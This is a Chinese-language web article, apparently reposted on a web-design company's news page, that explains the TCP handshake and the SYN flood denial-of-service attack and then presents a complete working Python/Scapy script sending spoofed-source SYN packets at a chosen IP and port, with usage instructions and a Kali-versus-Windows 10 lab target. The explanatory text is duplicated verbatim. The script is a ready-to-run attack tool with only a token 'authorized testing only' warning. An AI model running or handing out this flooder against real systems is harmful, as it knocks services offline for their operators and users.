尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

python实现synflood攻击

python实现synflood攻击
📅 发布时间:2026/6/19 13:56:11

SYN Flood攻击原理

syn-flood(syn洪水)是种典型的DoS (Denial of Service,拒绝服务) 攻击。效果就是服务器TCP连接资源耗尽,停止响应正常的TCP连接请求。

假设连接发起方是A,连接接受方是B,即B在某个端口(Port)上监听A发出的连接请求。如下图所示,左边是A,右边是B。

SYN Flood攻击原理

syn-flood(syn洪水)是种典型的DoS (Denial of Service,拒绝服务) 攻击。效果就是服务器TCP连接资源耗尽,停止响应正常的TCP连接请求。

假设连接发起方是A,连接接受方是B,即B在某个端口(Port)上监听A发出的连接请求。如下图所示,左边是A,右边是B。

A首先发送SYN(Synchronization)消息给B,要求B做好接收数据的准备;B收到后反馈SYN-ACK(Synchronization-Acknowledgement) 消息给A。

这个消息的目的有两个:

  1. 向A确认已做好接收数据的准备
  2. 同时要求A也做好接收数据的准备

此时B已向A确认好接收状态,并等待A的确认,连接处于半开状态(Half-Open),顾名思义只开了一半;A收到后再次发送ACK(Acknowledgement)消息给B,向B确认也做好了接收数据的准备,至此三次握手完成,“连接”就建立了,实际上只是双方都按对方的要求进入了可以接收消息的状态。以上彼此要求对方确认的“状态”主要是双方将要使用的消息序号(SequenceNum),TCP为保证消息按发送顺序抵达接收方的上层应用,需要用消息序号来标记消息的发送先后顺序的。

TCP是“双工”(Duplex)连接,同时支持双向通信,也就是双方同时可向对方发送消息,其中SYN和SYN-ACK消息开启了A→B的单向通信通道(B获知了A的消息序号);SYN-ACK和ACK消息开启了B→A单向通信通道(A获知了B的消息序号)。

以上讨论的是在双方诚实可信,网络正常的理想状况下建立连接。但实际情况是,网络可能不稳定会丢包,使握手消息不能抵达对方,也可能是对方故意不按规矩来,故意延迟或不发送握手确认消息。假设B通过某TCP端口提供服务,B在收到A的SYN消息时,积极的反馈了SYN-ACK消息,使连接进入半开状态,因为B不确定自己发给A的SYN-ACK消息或A反馈的ACK消息是否会丢在半路,所以会给每个待完成的半开连接都设一个Timer,如果超过时间还没有收到A的ACK消息,则重新发送一次SYN-ACK消息给A,直到重试超过一定次数时才会放弃。

A首先发送SYN(Synchronization)消息给B,要求B做好接收数据的准备;B收到后反馈SYN-ACK(Synchronization-Acknowledgement) 消息给A。

这个消息的目的有两个:

  1. 向A确认已做好接收数据的准备
  2. 同时要求A也做好接收数据的准备

此时B已向A确认好接收状态,并等待A的确认,连接处于半开状态(Half-Open),顾名思义只开了一半;A收到后再次发送ACK(Acknowledgement)消息给B,向B确认也做好了接收数据的准备,至此三次握手完成,“连接”就建立了,实际上只是双方都按对方的要求进入了可以接收消息的状态。以上彼此要求对方确认的“状态”主要是双方将要使用的消息序号(SequenceNum),TCP为保证消息按发送顺序抵达接收方的上层应用,需要用消息序号来标记消息的发送先后顺序的。

TCP是“双工”(Duplex)连接,同时支持双向通信,也就是双方同时可向对方发送消息,其中SYN和SYN-ACK消息开启了A→B的单向通信通道(B获知了A的消息序号);SYN-ACK和ACK消息开启了B→A单向通信通道(A获知了B的消息序号)。

以上讨论的是在双方诚实可信,网络正常的理想状况下建立连接。但实际情况是,网络可能不稳定会丢包,使握手消息不能抵达对方,也可能是对方故意不按规矩来,故意延迟或不发送握手确认消息。假设B通过某TCP端口提供服务,B在收到A的SYN消息时,积极的反馈了SYN-ACK消息,使连接进入半开状态,因为B不确定自己发给A的SYN-ACK消息或A反馈的ACK消息是否会丢在半路,所以会给每个待完成的半开连接都设一个Timer,如果超过时间还没有收到A的ACK消息,则重新发送一次SYN-ACK消息给A,直到重试超过一定次数时才会放弃。

使用python编写代码攻击:syn.py

#!/usr/bin/env python3 """ 绕过连接拒绝 """ import socket import random import struct import time import sys from scapy.all import IP, TCP, send def send_syn_flood(target_ip, target_port, duration=60): """发送SYN洪水攻击""" print(f"[*] 对 {target_ip}:{target_port} 发动SYN洪水攻击") print("[*] 按 Ctrl+C 停止") count = 0 start_time = time.time() try: while time.time() - start_time < duration: # 随机源IP和端口 src_ip = f"{random.randint(1,254)}.{random.randint(1,254)}." \ f"{random.randint(1,254)}.{random.randint(1,254)}" src_port = random.randint(1024, 65535) # 创建SYN包 ip_layer = IP(src=src_ip, dst=target_ip) tcp_layer = TCP(sport=src_port, dport=target_port, flags="S", seq=random.randint(0, 4294967295)) # 发送(无连接建立) send(ip_layer/tcp_layer, verbose=0) count += 1 # 显示进度 if count % 100 == 0: elapsed = time.time() - start_time print(f"[*] 已发送 {count} 个SYN包,速率: {count/elapsed:.1f} 包/秒") # 避免太快导致本地网络问题 time.sleep(0.001) except KeyboardInterrupt: print(f"\n[!] 用户停止攻击") elapsed = time.time() - start_time print(f"\n[+] 攻击统计:") print(f" 总数据包: {count}") print(f" 持续时间: {elapsed:.1f}秒") print(f" 平均速率: {count/elapsed:.1f}包/秒") return count > 0 if __name__ == "__main__": if len(sys.argv) < 3: print("用法: python syn_only.py <目标IP> <目标端口> [持续时间秒数]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) duration = int(sys.argv[3]) if len(sys.argv) > 3 else 60 # 验证IP try: socket.inet_aton(target_ip) except: print(f"错误: 无效的IP地址: {target_ip}") sys.exit(1) # 检查scapy是否可用 try: from scapy.all import IP, TCP, send except ImportError: print("错误: 需要安装scapy库 (pip install scapy)") sys.exit(1) print("[*] 警告: 仅用于授权的安全测试!") result = send_syn_flood(target_ip, target_port, duration) if result: print("[+] 攻击可能已生效 - 目标可能已崩溃或防火墙已介入") else: print("[!] 攻击失败")

环境准备:kali和win10

攻击对象:win10,ip:192.168.136.136

相关新闻

  • 专科生必看!9个高效降AI率工具推荐,轻松应对AIGC检测
  • 【Open-AutoGLM同类AI全景解析】:2024年最值得关注的5大国产自研智能引擎
  • Java毕设项目:基于springboot的学生军训管理系统(源码+文档,讲解、调试运行,定制等)

最新新闻

  • 天津手表回收避坑指南:实测5家正规门店,哪家更让人放心? - 名奢变现站
  • 武汉卖金不用出门!上门回收品牌深度测评,合扬无损耗计价登顶榜首 - 奢侈品交易观察员
  • 深入解析MC9S08DE60内存映射与寄存器配置:从原理到实战优化
  • pandas多维聚合生产实践:滚动窗口、分组展开与性能优化
  • 2026沈阳钻石回收没有证书能卖吗?实测1200笔无票钻石成交记录 - 奢品小当家
  • 本草拾光商行 —— 承德满族人,全品类回收,专业爱好驱动,报价地道 - 深鉴新闻

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号